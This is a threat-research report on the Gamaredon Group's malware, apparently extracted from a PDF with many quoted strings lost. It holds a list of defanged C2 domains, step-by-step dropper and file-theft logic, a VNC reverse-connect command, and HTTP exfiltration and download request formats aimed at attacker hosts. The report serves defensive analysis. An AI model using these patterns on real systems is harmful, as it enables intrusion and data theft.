+7451c813eebe45ee8c743abc5e75c9475cab427d44e9a255f89f73c4e7ca7106
+44cd0fdb877838f559d60500cd08cee66d8a79005d7e86f81671c18ec7ab3cb5
+810aed604e1ec5d5aec00c783bc44e5ca753c5c0f2dc64f431c8f8d48b6dbf41
+Appendix B: Associated Domains
+21/35
+1c-host[.]host
+1cpred[.]org
+allforest[.]pw
+antiprt[.]com
+atonix[.]pw
+babbabbab[.]ru
+babbabbab2[.]ru
+babbebbab[.]com
+babbebbab2[.]com
+babbibbab2[.]ua
+babbihbab[.]host
+babblabbab2[.]link
+babblahbab[.]com
+babblebbab[.]pw
+babblebbab2[.]pw
+babblehbab[.]top
+babblibbab2[.]xyz
+babblihbab[.]link
+babblohbab[.]pw
+babblulbab[.]pw
+babbobbab[.]link
+babbohbab[.]com
+babbolbab[.]host
+babbolbab[.]ru
+babbrabbab2[.]xyz
+babbrebbab[.]rocks
+babbrebbab2[.]rocks
+babbrehbab[.]pw
+babbribbab2[.]space
+babbrihbab[.]xyz
+babbrohbab[.]rocks
+22/35
+babbrulbab[.]rocks
+babbulbab[.]com
+babchabbab[.]org
+babchabbab2[.]org
+babchebbab2[.]ru
+babchehbab[.]in
+babchibbab[.]com
+babchihbab[.]org
+babcholbab[.]org
+babclabbab2[.]space
+babclebbab[.]biz
+babclebbab2[.]biz
+babclehbab[.]rocks
+babclibbab2[.]in
+babclihbab[.]space
+babclohbab[.]biz
+babclulbab[.]biz
+babcrabbab2[.]in
+babcrambab[.]ru
+babcrebbab[.]org
+babcrebbab2[.]org
+babcrehbab[.]biz
+babcribbab[.]ru
+babcrihbab[.]in
+babcrohbab[.]org
+babcruhbab[.]host
+babcrulbab[.]org
+babdabbab[.]ua
+babdabbab2[.]ua
+babdebbab[.]link
+babdebbab2[.]link
+23/35
+babdibbab2[.]pw
+babdihbab[.]top
+babdobbab[.]xyz
+babdohbab[.]link
+babdolbab[.]top
+babdrabbab2[.]ru
+babdrambab[.]ua
+babdrebbab[.]com
+babdrebbab2[.]com
+babdrehbab[.]org
+babdribbab[.]ua
+babdrihbab[.]host
+babdrohbab[.]com
+babdruhbab[.]top
+babdrulbab[.]com
+babdulbab[.]link
+babfabbab[.]pw
+babfabbab2[.]pw
+babfebbab[.]top
+babfebbab[.]xyz
+babfebbab2[.]xyz
+babfibbab2[.]rocks
+babfihbab[.]pw
+babflabbab2[.]ua
+babflambab[.]pw
+babflebbab[.]link
+babflebbab2[.]link
+babflehbab[.]com
+babflibbab[.]pw
+babflihbab[.]top
+babflohbab[.]link
+24/35
+babfluhbab[.]pw
+babflulbab[.]link
+babfobbab[.]space
+babfohbab[.]xyz
+babfolbab[.]pw
+babfrabbab2[.]pw
+babfrebbab[.]xyz
+babfrebbab2[.]xyz
+babfrehbab[.]link
+babfribbab[.]rocks
+babfrihbab[.]pw
+babfrohbab[.]xyz
+babfrulbab[.]xyz
+babfulbab[.]xyz
+babgabbab2[.]rocks
+babgebbab[.]space
+babgebbab2[.]space
+babgibbab2[.]biz
+babgihbab[.]rocks
+babglabbab2[.]rocks
+babglebbab[.]space
+babglebbab2[.]space
+babglehbab[.]xyz
+babglibbab[.]biz
+babglihbab[.]rocks
+babglohbab[.]space
+babglulbab[.]space
+babgobbab[.]in
+babgofbab[.]biz
+babgohbab[.]space
+babgrabbab2[.]biz
+25/35
+babgrebbab[.]in
+babgrebbab2[.]in
+babgrehbab[.]space
+babgribbab[.]org
+babgrihbab[.]biz
+babgrohbab[.]in
+babgrulbab[.]in
+babgulbab[.]space
+babhabbab2[.]biz
+babhebbab[.]in
+babhebbab2[.]in
+babhibbab2[.]org
+babhihbab[.]biz
+babhohbab[.]in
+babhulbab[.]in
+babjabbab2[.]org
+babjebbab[.]ru
+babjebbab2[.]ru
+babjibbab2[.]com
+babjihbab[.]org
+babjohbab[.]host
+babjulbab[.]host
+babkabbab2[.]com
+babkebbab[.]ua
+babkebbab2[.]ua
+babkehbab[.]host
+babkibbab2[.]link
+babkihbab[.]com
+babkohbab[.]top
+babkulbab[.]top
+bablabbab2[.]link
+26/35
+bablebbab[.]pw
+bablebbab2[.]pw
+bablehbab[.]top
+bablibbab2[.]xyz
+bablihbab[.]link
+bablohbab[.]pw
+bablulbab[.]pw
+babmabbab[.]xyz
+babmabbab2[.]xyz
+babmebbab[.]rocks
+babmebbab2[.]rocks
+babmehbab[.]pw
+babmibbab2[.]space
+babmihbab[.]xyz
+babmilbab[.]pw
+babmohbab[.]rocks
+babmulbab[.]rocks
+babnabbab2[.]space
+babnebbab[.]biz
+babnebbab2[.]biz
+babnehbab[.]rocks
+babnibbab2[.]in
+babnihbab[.]space
+babnohbab[.]biz
+babnulbab[.]biz
+babpabbab2[.]in
+babpebbab[.]org
+babpebbab2[.]org
+babpehbab[.]biz
+babpibbab2[.]ru
+babpihbab[.]in
+27/35
+babplabbab2[.]org
+babplebbab[.]ru
+babplebbab2[.]ru
+babplehbab[.]in
+babplibbab[.]com
+babplifbab[.]ru
+babplihbab[.]org
+babplohbab[.]host
+babplulbab[.]host
+babpohbab[.]org
+babprabbab2[.]com
+babprebbab[.]ua
+babprebbab2[.]ua
+babprehbab[.]host
+babpribbab[.]link
+babprihbab[.]com
+babprulbab[.]top
+babpulbab[.]org
+babrabbab2[.]ru
+babrebbab[.]com
+babrebbab2[.]com
+babrehbab[.]org
+babribbab2[.]ua
+babrihbab[.]host
+babrohbab[.]com
+babrulbab[.]com
+babsabbab2[.]ua
+babsahbab[.]host
+babsebbab[.]link
+babsebbab2[.]link
+babsehbab[.]com
+28/35
+babsibbab2[.]pw
+babsihbab[.]top
+babskabbab2[.]link
+babskebbab[.]pw
+babskebbab2[.]pw
+babskehbab[.]top
+babskibbab[.]xyz
+babskihbab[.]link
+babslabbab2[.]xyz
+babslebbab2[.]rocks
+babslehbab[.]pw
+babslibbab[.]space
+babslihbab[.]xyz
+babsmabbab2[.]space
+babsmebbab2[.]biz
+babsmehbab[.]rocks
+babsmibbab[.]in
+babsmihbab[.]space
+babsnabbab2[.]in
+babsnebbab2[.]org
+babsnehbab[.]biz
+babsnibbab[.]ru
+babsnihbab[.]in
+babsofbab[.]pw
+babsohbab[.]link
+babspabbab[.]ru
+babspabbab2[.]ru
+babspebbab2[.]com
+babspefbab[.]ru
+babspehbab[.]org
+babspibbab[.]ua
+29/35
+babspihbab[.]host
+babspolbab[.]host
+babstabbab[.]ua
+babstabbab2[.]ua
+babstebbab2[.]link
+babstefbab[.]com
+babstehbab[.]com
+babstibbab[.]pw
+babstihbab[.]top
+babstolbab[.]top
+babstrabbab[.]pw
+babstrabbab2[.]pw
+babstrebbab2[.]xyz
+babstrefbab[.]pw
+babstrehbab[.]link
+babstribbab[.]rocks
+babstrihbab[.]pw
+babstrolbab[.]pw
+babsulbab[.]link
+babswabbab[.]rocks
+babswabbab2[.]rocks
+babswebbab2[.]space
+babswehbab[.]xyz
+babswibbab[.]biz
+babswihbab[.]rocks
+babswolbab[.]rocks
+babtabbab2[.]pw
+babtahbab[.]top
+babtebbab[.]xyz
+babtebbab2[.]xyz
+babtehbab[.]link
+30/35
+babtibbab2[.]rocks
+babtihbab[.]pw
+babtohbab[.]xyz
+babtrabbab[.]biz
+babtrabbab2[.]biz
+babtrebbab2[.]in
+babtrehbab[.]space
+babtribbab[.]org
+babtrihbab[.]biz
+babtrolbab[.]biz
+babtulbab[.]xyz
+babvabbab2[.]rocks
+babvahbab[.]pw
+babvebbab[.]space
+babvebbab2[.]space
+babvehbab[.]xyz
+babvibbab2[.]biz
+babvihbab[.]rocks
+babvohbab[.]space
+babvulbab[.]space
+babwabbab2[.]biz
+babwahbab[.]rocks
+babwebbab[.]in
+babwebbab2[.]in
+babwehbab[.]space
+babwibbab2[.]org
+babwihbab[.]biz
+babwohbab[.]in
+babwulbab[.]in
+babyabbab2[.]org
+babyahbab[.]biz
+31/35
+babyebbab[.]ru
+babyebbab2[.]ru
+babyehbab[.]in
+babyibbab2[.]com
+babyihbab[.]org
+babyohbab[.]host
+babyulbab[.]host
+babzabbab2[.]com
+babzahbab[.]org
+babzebbab[.]ua
+babzebbab2[.]ua
+babzehbab[.]host
+babzibbab2[.]link
+babzihbab[.]com
+babzohbab[.]top
+babzulbab[.]top
+bannarbor[.]pw
+bisquitshore[.]xyz
+bitrixon[.]biz
+buhgalter[.]pw
+buhgalter[.]rocks
+buhgalters[.]xyz
+businessolution[.]site
+cheturion[.]org
+chipacom[.]net
+cloneduring[.]pw
+companysafa[.]biz
+corpofname[.]pw
+datamining[.]press
+dersteoyna[.]pw
+dovnikus[.]su
+32/35
+efros[.]pw
+flashclicks[.]info
+forbusinessgo[.]xyz
+fortificar[.]net
+fracking[.]host
+gateoflife[.]pw
+gaz[.]rocks
+gedealer[.]pw
+globuspp[.]pw
+grandvita[.]pw
+greenlanterns[.]xyz
+greenworldsun[.]xyz
+guardomorph[.]com
+guwang[.]pw
+jobforreborn[.]xyz
+kokinatsu[.]pw
+kukuzaki[.]me
+kupala[.]me
+lastsnow[.]link
+maradonianos[.]pw
+mercurytod[.]pw
+muxa[.]club
+mycorpsafa[.]biz
+n-nalog78[.]com
+newsunconcept[.]in
+newsupport[.]us
+nothingmore[.]us
+novayarabota[.]pw
+nvpn[.]pw
+odejda77[.]net
+okvd[.]biz
+33/35
+olen[.]bid
+onechat[.]pw
+placetobuy[.]pw
+platej[.]pw
+poplata-da[.]org
+portw[.]org
+powersand[.]link
+pricemeet[.]pw
+puldisk[.]xyz
+rabotadnya[.]pw
+raintor[.]pw
+ricarier[.]org
+rosgaz[.]pw
+rumoney[.]xyz
+salesforlife[.]top
+salesline[.]top
+sam-sam[.]pw
+sandstyle[.]biz
+sandw[.]pw
+santrimo[.]lol
+seclist[.]site
+seclist[.]top
+selenaspace[.]space
+sellgrax[.]club
+semodo[.]pw
+sensetunoespossible[.]cat
+shortsell[.]trade
+shortselling[.]club
+sixgoats[.]pw
+snp500[.]trade
+solotender[.]pw
+34/35
+sslprivate[.]org
+tapalulumba[.]com
+taskhoper[.]com
+titleworld[.]pw
+torglend[.]com
+tradertop[.]top
+trendkop[.]pw
+tyuocruz1312[.]net
+uchet[.]pw
+uchet[.]space
+visitpalace[.]xyz
+volumexp[.]xyz
+vortexenism[.]biz
+vpnserv[.]pw
+vwv.flashclicks[.]info
+winsocket[.]xyz
+yearreviews[.]net
+Updated 3/30/17: To remove unnecessary IPS Signature number.
+35/35
+The Gamaredon Group Toolset Evolution
+researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/
+By Anthony Kasza and Dominik Reichel
+2/27/2017
+Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our
+research shows that the Gamaredon Group has been active since at least 2013.
+In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We
+believe this shift indicates the Gamaredon Group have improved their technical capabilities. The custom-developed malware is fully featured an includes these capabilities:
+A mechanism for downloading and executing additional payloads of their choice
+The ability to scan system drives for specific file types
+The ability to capture screenshots
+The ability to remotely execute commands on the system in the user
+s security context
+The Gamaredon Group primarily makes use of compromised domains, dynamic DNS providers, Russian and Ukrainian country code top-level domains (ccTLDs), and Russian
+hosting providers to distribute their custom-built malware.
+Antimalware technologies have a poor record of detecting the malware this group has developed. We believe this is likely due to the modular nature of the malware, the malware
+heavy use of batch scripts, and the abuse of legitimate applications and tools (such as wget) for malicious purposes.
+Previously, LookingGlass reported on a campaign they named 
+Operation Armageddon,
+ targeting individuals involved in the Ukrainian military and national security establishment.
+Because we believe this group is behind that campaign, we
+ve named them the Gamaredon Group, an anagram of 
+Armageddon
+. At this time, it is unknown if the new payloads
+this group is distributing is a continuation of Operation Armageddon or a new campaign.
+Gamaredon: Historical Tool Analysis
+The earliest discovered sample (based on compile times and sandbox submission times) distributed by this threat group resembles the descriptions of Gamaredon provided by
+Symantec and Trend Micro. Unfortunately, this identification is rather tenuous, as it seems to only identify the first variant of payloads used by our threat actors. Some samples of
+later payload variants also have been given the generic and brittle names of TROJ_RESETTER.BB and TROJ_FRAUDROP.EX.
+Originally, the payloads delivered to targets by this threat group consisted of a password protected Self-extracting Zip-archive (.SFX) file which, when extracted, wrote a batch
+script to disk and installed a legitimate remote administration tool called tool Remote Manipulator System (Figure 1) which they would abuse for malicious purposes.
+Figure 1 Remote Manipulator System Interface
+One such self-extracting archive (ca87eb1a21c6d4ffd782b225b178ba65463f73de6f4c736eb135be5864f556dc) was first observed around April of 2014. The password (reused by
+many of the password protected SFX payloads) it used to extract itself is 
+1234567890__
+. The files included in this SFX file we observed include a batch file named 
+123.cmd
+and another SFX named 
+setting.exe
+. This second SFX contains a .MSI installer package which installs Remote Manipulator System and a batch script which handles the
+installation.
+Later payloads would write batch scripts to disk as well as wget binaries. The batch scripts would use the wget binaries to download and execute additional executables. The
+scripts would also use wget to send POST requests to command and control (C2) servers that would contain information about the compromised system. Some of these payloads
+included decoy documents that would open when the malware is executed.
+Three examples of this type of payload include:
+1/13
+a6a44ee854c846f31d15b0ca2d6001fb0bdddc85f17e2e56abb2fa9373e8cfe7
+b5199a302f053e5e9cb7e82cc1e502b5edbf04699c2839acb514592f2eeabb13
+3ef3a06605b462ea31b821eb76b1ea0fdf664e17d010c1d5e57284632f339d4b
+We first observed these samples using wget in 2014. The filenames and decoy documents these samples used attempt to lure individuals by using the presidential administration
+of Ukraine, Ukrainian national security and defense, the Anti-Terrorist Operation Zone in the Ukraine, and Ukrainian patriotism as subjects. The text of one such decoy document is
+pictured below.
+Figure 2 Ukrainian Decoy Document used by Gamaredon Group
+Other observed payloads would, again, use SFX files to deliver a batch script and an executable that allowed remote access through the VNC protocol. These VNC exectuables
+would either be included in the SFX file or downloaded by the batch script. We found one URL (now taken down) that hosted a VNC executable that the malware would attempt to
+download and install at hxxp://prestigeclub.frantov.com[.]ua/press-center/press/chrome-xvnc-v5517.exe.
+The batch script would then attempt to have the VNC program connect to a command and control (C2) server to enable the server to control the compromised system. All VNC
+installations on compromised systems that we observed have used the same configuration file, RC4 key file, and passwords.
+One such sample, cfb8216be1a50aa3d425072942ff70f92102d4f4b155ab2cf1e7059244b99d31 first appeared around January of 2015. The batch script utilized in this sample
+ensures a VNC connection is available:
+start winlogons -autoreconnect -id:%sP% -connect grom56.ddns.net:5500
+The path configured in the VNC configuration file across all implants employing VNC (UltraVNC.ini) is 
+ RMS\vnc
+. This isn
+t the only
+place hardcoded Cyrillic file paths are used by implants. Many of the batch scripts also use hardcoded paths such as 
+. Many payloads
+also include a VBS script which raises a dialog box to the users asking them to run the malware again. It reads, 
+ (0xc0000005).
+ (English Translation from Russian: Application failed to initialize (0xc0000005). Try to open the file again?).
+Some of the SFX files also include another legitimate application called ChkFlsh.exe (8c9d690e765c7656152ad980edd2200b81d2afceef882ed81287fe212249f845). This
+application was written by a Ukrainian programmer and is used to check performance of USB flash drives. Its value to the attackers to the attackers isn
+t clear but one possibility is
+that it is somehow used to steal or monitor files on USB devices. In our research, we found this application present in some SFX files along with VNC programs and in some SFX
+files that didn
+t have VNC programs included.
+Custom Implants
+While the most recent samples observed still use batch scripts and SFX files, the Gamaredon Group has moved away from applications like wget, Remote Manipulator Tool, VNC
+and ChkFlsh.exe. Instead of using wget the attackers are distributing custom developed downloaders, and instead of Remote Manipulator or VNC the malware is using a custom
+developed remote access implant.
+In June of 2015 a custom downloader used by many newer samples was first seen in the wild and is often included in SFX implants with the name 
+LocalSMS.dll
+. This
+downloader makes requests to adobe.update-service[.]net (hardcoded in the sample) and is further discussed in Appendix A.
+2/13
+In February 2016, another custom tool now often included in SFX implants was seen in the wild. This SFX file
+(3773ddd462b01f9272656f3150f2c3de19e77199cf5fac1f44287d11593614f9) contains a new Trojan
+(598c55b89e819b23eac34547ad02e5cd59e1b8fcb23b5063a251d8e8fae8b824) we refer to as 
+Pteranodon.
+ Pteranodon is a custom backdoor which is capable of the following
+tasks:
+Capturing screenshots at a configurable interval and uploading them to the attacker
+Downloading and executing additional files
+Executing arbitrary commands on the system
+The earliest version of Pteranodon uses a hardcoded URL for command and control. It sends POST requests to 
+msrestore[.]ru/post.php
+ using a static multipart boundary:
+870978B0uNd4Ry_$
+Newer versions of the tool also use hardcoded domains and multipart boundaries. They also share similar pdb strings. Other Pteranodon samples can be found in AutoFocus using
+the Pteranodon tag. The most recent variant of Pteranodon is analyzed in Appendix A.
+We have only identified one delivery vector for the new implants thus far. A Javascript file (f2355a66af99db5f856ebfcfeb2b9e67e5e83fff9b04cdc09ac0fabb4af556bd) first seen in
+December of 2016 downloads a resource from http://samotsvety.com[.]ua/files/index.pht (likely a compromised site used for staging payloads) which previously an SFX file
+(b2fb7d2977f42698ea92d1576fdd4da7ad7bb34f52a63e4066f158a4b1ffb875) containing two of the Gamaredon custom tools.
+A related sample (e24715900aa5c9de807b0c8f6ba8015683af26c42c66f94bee38e50a34e034c4) used the same distinct Mutex and contains a larger set of tools for analysis. The
+original name of the file is 
+AdapterTroubleshooter.exe
+ and the file uses icons which resemble those used by OpenVPN, as seen below.
+Upon examining the sample
+s file activity within AutoFocus it is clear the sample is a self-extracting executable.
+Figure 3 Self Extracting executable behavior shown in AutoFocus
+Opening the sample with 7zip inside of a virtual machine, all the files contents can be examined. Below is a table providing the SHA256 values, the filenames, the compile
+timestamps and the pdb paths of the contents of the SFX file.
+SHA256
+Filename
+Compile
+Time
+PDB Path
+400f53a89d08d47f608e1288d9873bf8d421fc7cd642c5e821674f38e07a1501
+LocalSMS.dll
+Wed Apr
+08:10:30
+2015
+c:\users\viber\documents\visual studio
+2013\projects\contextmenu\release\contextmenu.pdb
+d01df47b6187631c9a93bdad1298439ab1a1c5529b3319f3614b6ec2455e5726
+MpClients.dll
+Thu Sep
+05:01:00
+2016
+c:\users\user\documents\visual studio
+2015\projects\updaterv1\release\updaterv1.pdb
+f2296bcb6be68dfb330baec2091fb11a42a51928ba057164213580e6ff0e1126
+OfficeUpdate.dll
+Dec 07
+09:25:57
+2016
+2ded2f3b5b5b6155ce818893c67887cbfa8b539be6c983e314ccf2177552da20
+SmartArtGraphicsLog.lnk
+46a39da996b01e26ddd71d51c9704de2aa641cd3443f6fe0e5c485f1cd9fa65d
+UsrClass.lnk
+a972ad0ddc00d5c04d9fe26f1748e12008efdd6524c9d2ea4e6c2d3e42d82b7b
+condirs.cmd
+37c78ee7826d63bb9219de594ed6693f18da5db60e3cbc86795bd10b296f12ac
+winrestore.dll
+Mon Jan
+03:12:39
+2017
+c:\develop\ready\winrestore 
+proxy\release\winrestore.pdb
+90ba0f95896736b799f8651ef0600d4fa85c6c3e056e54eab5bb216327912edd
+wmphost.exe
+Thu Dec
+08:23:32
+2016
+c:\develop\ready\mouse-move\mousemove\release\mouse-move.pdb
+3/13
+The bootstrapping logic for the sample relies on the contents of 
+condirs.cmd
+. Briefly, the logic within 
+condirs.cmd
+ follows:
+1. Ensure 
+%LOCALAPPDATA%\Microsoft\Windows\
+ exists
+2. Kill and delete processes, files, and scheduled tasks which may interfere with the sample executing
+3. Copy 
+winrestore.dll
+ to 
+%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll
+4. Copy 
+OfficeUpdate.dll
+ to 
+%LOCALAPPDATA%\Microsoft\Windows\UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll
+5. Determine if the operating system is Windows XP or Windows 7
+6. If the system is running Windows XP
+a. Set the directory to copy files into as 
+%WINDIR%\Setup\State\Office
+b. Copy 
+UsrClass.lnk
+ to 
+%USERPROFILE%\
+c. Copy 
+SmartArtGraphicsLog.lnk
+ to 
+%USERPROFILE%\
+7. If the system is running Windows 7
+a. Set the directory to copy files into as 
+%APPDATA%\Microsoft\Office
+b. Copy 
+UsrClass.lnk
+ to 
+%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
+c. Copy 
+SmartArtGraphicsLog.lnk
+ to 
+%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
+Figure 4 Windows XP and Windows 7 logic within 
+condirs.cmd
+8. Copy 
+winrestore.dll
+ to the directory set in step 6 or 7a with the filename 
+MSO1234.win
+9. copy 
+LocalSMS.dll
+ to the directory set in step 6 or 7a with the filename 
+MSO1567.dls
+10. copy 
+OfficeUpdate.dll
+ to the directory set in step 6 or 7a with the filename 
+MSO5678.usb
+11. copy 
+MpClients.dll
+ to the directory set in step 6 or 7a with the filename 
+MSO8734.obn
+12. Execute the exported function 
+updater
+ within 
+MSO1234.win
+ using rundll32.exe
+13. Execute the exported function 
+EntryPoint
+ within 
+MSO1567.dls
+ using rundll32.exe
+It should be noted that 
+UsrClass.lnk
+ links to 
+%WINDIR%\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5win}.dll,updater
+ and
+SmartArtGraphicsLog.lnk
+ links to 
+C:\WINDOWS\system32\rundll32.exe UsrClass.dat{4f6fe187-7034-11de-b675-001d09fa5off}.dll,StartBackup
+. These are the locations
+winrestore.dll
+ and 
+OfficeUpdate.dll
+ were copied to in steps 3 and 4, respectively.
+The 
+condirs.cmd
+ script then continues to:
+1. Schedule the following tasks:
+a. Task name 
+UpdatesWinRes
+, invoke 
+MSO1234.win,updater
+b. Task name 
+UpdatesWinDLL
+, invoke 
+MSO1567.dls,EntryPoint
+c. Task name 
+UpdatesWinUSBOOK
+, invoke 
+MSO5678.usb,StartBackup
+d. Task name 
+UpdatesWinOBN
+, invoke 
+MSO8734.obn,bitDefender
+2. Ensure the directory 
+%Temp%\reports\ProfileSkype\
+ exists
+3. Kill processes named 
+skype.exe
+4. Copy the contents of 
+%AppData%\Skype
+ to 
+%Temp%\reports\ProfileSkype\
+5. Create subdirectories under 
+%Temp%\reports\%COMPUTERNAME\
+ with names: Z W P S V Q N M L K I J F H E G and D. These are drive letters.
+6. Copy all files from all above drive letters with extensions 
+docx
+xlsx
+ and 
+ into 
+%TEMP%\reports\%COMPUTERNAME%\%%d\
+ where %%d is the
+drive letter
+7. Copy all files with the above extensions from all users
+Desktop
+Documents
+, and 
+Downloads
+ folders to 
+%TEMP%\reports\%COMPUTERNAME%\Desktop\
+4/13
+%TEMP%\reports\%COMPUTERNAME%\Documents\
+ and 
+%TEMP%\reports\%COMPUTERNAME%\Downloads\
+ respectively
+Figure 5 The document stealing logic inside 
+condirs.cmd
+8. Execute the exported function 
+StartBackup
+ within 
+MSO5678.usb
+ using rundll32.exe
+9. Execute the exported function 
+bitDefender
+ within 
+MSO8734.obn
+ using rundll32.exe
+10. Clean up temporary files, sleep, and delete itself
+When this script has completed, a series of implants giving the attacker the ability to steal files, capture screenshots and evade detection are deployed on the system. These
+individual implants are analyzed in detail in Appendix A.
+Trends Across Implants
+While the payloads used to control compromised systems have evolved over time, many commonalities appear across the samples. While not every sample distributed by this
+group is described in this blog, hashes of the known samples are included in the Indicators of Compromise section. Some interesting behaviors from a few of the related samples
+include:
+Many of the batch scripts include misspellings of common English words. One such example is the filename 
+. While another example, 
+domen
+, is used as a variable
+name in a batch script which is likely meant to be 
+domain
+Almost all batch scripts in all samples ping localhost as a means of sleeping
+Many of the batch scripts are named 
+ and some include the string 
+Trons_ups
+ and 
+Treams
+Many of the batch scripts use the same commands for determining operating system version.
+Many of the early samples used applications such as wget, UltraVNC, and ChkFlash. These utilities have been replaced with custom tools in the latest sample
+Samples employing VNC used the same configuration and passwords
+Additionally, the infrastructure used by this group has not changed much in the past three years. Many of the samples reused the same domains for implant communication. Also,
+many of the custom developed tools use hardcoded network locations.
+Monikers used for filenames, exported DLL functions, domains, and variable names in scripts seem to be themed and consistent. By pivoting on indicators from one of the SFX
+implants within AutoFocus additional samples are easily identified by overlaps in these consistencies. Most samples were delivered in a similar fashion: an SFX dropping
+resources which are staged and loaded with a batch and/or VBS script. The reuse of SSL certificates between IPv4 addresses as well as the reuse of IPv4 addresses between
+domains names is apparent when viewing a large collection of entities involved in this campaign, as shown below.
+5/13
+Focusing in on one of the newest samples (analyzed in Appendix A), the reuse of file names as well as SFX content files becomes apparent.
+Figure 6 Overview of the relationships between Samples and Network Infrastructure used by the Gamaredon Group
+Final Word
+The implants identified have limited, generic, and often conflicting detections on VirusTotal. The threat group using these implants has been active since at least 2014 and has
+been seen targeting individuals likely involved in the Ukrainian government. Some of the samples share delivery mechanisms and infrastructure with samples which are detected
+by a few antivirus vendors as Gamaredon. However, newer variants deliver more advanced malware which goes unnamed.
+Periodically, researchers at Palo Alto Networks hunt through WildFire execution reports, using AutoFocus, to identify untagged samples
+ artifacts in the hopes of identifying
+previously undiscovered malware families, behaviors, and campaigns.
+This blog presents a threat group identified by the above process using AutoFocus. By actively hunting for malicious activity and files instead of waiting for alerts to triage,
+defenders can identify and building protections for new trends before they arrive on their corporate networks and endpoints. More details about this threat group can be found in
+the AutoFocus tag GamaredonGroup.
+Palo Alto Networks customers are protected from this threat in the following ways:
+WildFire identifies the malware described in this report as malicious.
+Traps prevents execution of the malware described in this report.
+6/13
+The C2 domains used by this group are blocked through Threat Prevention.
+Special thanks go out to Tom Lancaster for both his assistance in this investigation and for his charming good looks.
+Appendix A: Custom Implant Analyses
+USBStealer: MSO5678.usb / OfficeUpdate.dll
+This file is a USB file stealer which can be also guessed by its internal name 
+USBgrabber.dll
+. However, the implementation is sloppy which makes it a file stealer for any newly
+connected logical volume on a system. This is because the malware monitors the computer for messages WM_COMMAND and WM_DEVICECHANGE, but not verifying if a USB
+drive was connected.
+The malware creates two mutexes 
+__Wsnusb73__
+ and 
+__Wsnusbtt73__
+. Then, it creates the following folder in the temp path of the local user:
+C:\Users\<Username>\AppData\Local\Temp\reports
+This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2
+server 
+195.62.52.93
+ one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the
+source drive:
+POST /post.php HTTP/1.1
+Content-Type: multipart/form-data; boundary=----qwerty
+Host: 195.62.52.93
+Content-Length: ...
+Cache-Control: no-cache
+------qwerty
+Content-Disposition: form-data; name="filename"
+\\<filename>
+------qwerty
+Content-Disposition: form-data; name="filedate"
+<month>/<day>/<year> <hour>:<seconds>
+------qwerty
+Content-Disposition: form-data; name="compname"
+<ComputerName>||<Username>||<UserHWGUID>||<C_VolumeSerialNumber>
+------qwerty
+Content-Disposition: form-data; name="serial"
+<SerialNumberOfDriveToStealFrom>
+------qwerty
+Content-Disposition: form-data; name="w"
+------qwerty
+Content-Disposition: form-data; name="filesize"
+<FileSize>
+------qwerty
+Content-Disposition: form-data; name="file"; filename=""
+Content-Type: application/octet-stream
+Content-Transfer-Encoding: binary
+...File data...
+------qwerty--
+The malware also creates a SQLite database named 
+asha.dat
+ in the local users temp folder. Therein, it keeps track of files which were stolen by calculating the MD5 hash of the
+filename followed by the file length. Therefore, it creates a Unicode string of the original file path from the drive and concatenates the file size in bytes to it. Finally, it uses the API
+functions MD5Init(), MD5Update() and MD5Final() to calculate the hash and store it in the database.
+Figure 7 Structure of the database created by the malware
+It should be noted, that only hashes of files are added to the database that don
+t have the following extensions:
+7/13
+Downloader: MSO1567.dls / LocalSMS.dll
+This file is essentially a simple downloader which contacts the C2 server to send some user data and get an executable as response which will be executed. The DLL is written in
+C++ and contains all of the functionality is in an export function named 
+EntryPoint
+. The file was compiled without any compiler or linker optimizations, thus the big file size and the
+remaining PDB path string.
+At first, the malware retrieves the temp path of the local user (
+C:\Users\<Username>\AppData\Local\Temp\
+), the computer name (e.g. 
+WIN-MLABCSUOVJB
+), the hardware
+profile GUID (e.g. 
+{826ee360-7139-11de-8d20-808e6f6e6263}
+) and the volume serial number of C:\ drive (e.g. 
+1956047236
+). Next, it takes the following hardcoded string:
+http://adobe.update-service[.]net/index.php?comp=
+To create a URL string with the victims information for contacting the C2 server:
+http://adobe.update-service[.]net/index.php?comp=WIN-MLABCSUOVJB&id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236
+To create the filename where the downloaded file will be saved, the malware tries to build a random string of 10 characters. However, due to an implementation error the string
+always ends up being the same, namely 
+frAQBc8Wsa
+. This string gets concatenated with the retrieved local users temp path to the following file path:
+C:\Users\\AppData\Local\Temp\frAQBc8Wsa
+Then, it uses the API function URLDownloadToFileA() to download a payload to disk and executes it via CreateProcess(). Finally, it sleeps for 60 seconds before terminating the
+payload and the DLL exits.
+Downloader: MSO8734.obn / MpClients.dll
+This file is a slightly more advanced version of LocalSMS.dll downloader. Instead of downloading a payload directly to disk, this file requests a download command from the C2
+server which contains the actual payload URL to be used. Therefore, it uses a basic network implementation based on the Winsock functions. All the functionality of this DLL is put
+into an export function named 
+bitDefender
+It creates a socket, requests the address of the hardcoded C2 server 
+win-restore.ru
+ via gethostbyname() and connects to it. Thereafter, it also collects the volume serial number
+of C:\ drive, the computer name and the hardware profile GUID. With this information, it creates the following string used by a subsequent send() function call:
+GET /css.php?id=WIN-MLABCSUOVJB_{826ee360-7139-11de-8d20-808e6f6e6263}1956047236 HTTP/1.1
+Host: win-restore.ru
+Connection: close
+The response will be stored into a memory buffer via recv() and scanned for the string 
+urltoload={
+. As the name suggests, the received data contains the actual URL of the
+payload inside curly brackets. The URL gets pulled out of the string and is used again as input for the API function URLDownloadToFile(). Again, the same file path will be used to
+store the payload on disk and execute it:
+C:\Users\<Username>\AppData\Local\Temp\frAQBc8Wsa
+Pteranodon: MSO1234.win / winrestore.dll
+Pteranodon is a backdoor which also can capture screenshots based on a configuration file created on the disk. Further, it uploads the screenshots to the C2 server unencrypted.
+All the functionality of this DLL is put into an export function named 
+updater
+At first, it retrieves the %APPDATA% folder of the local user to build the following file path:
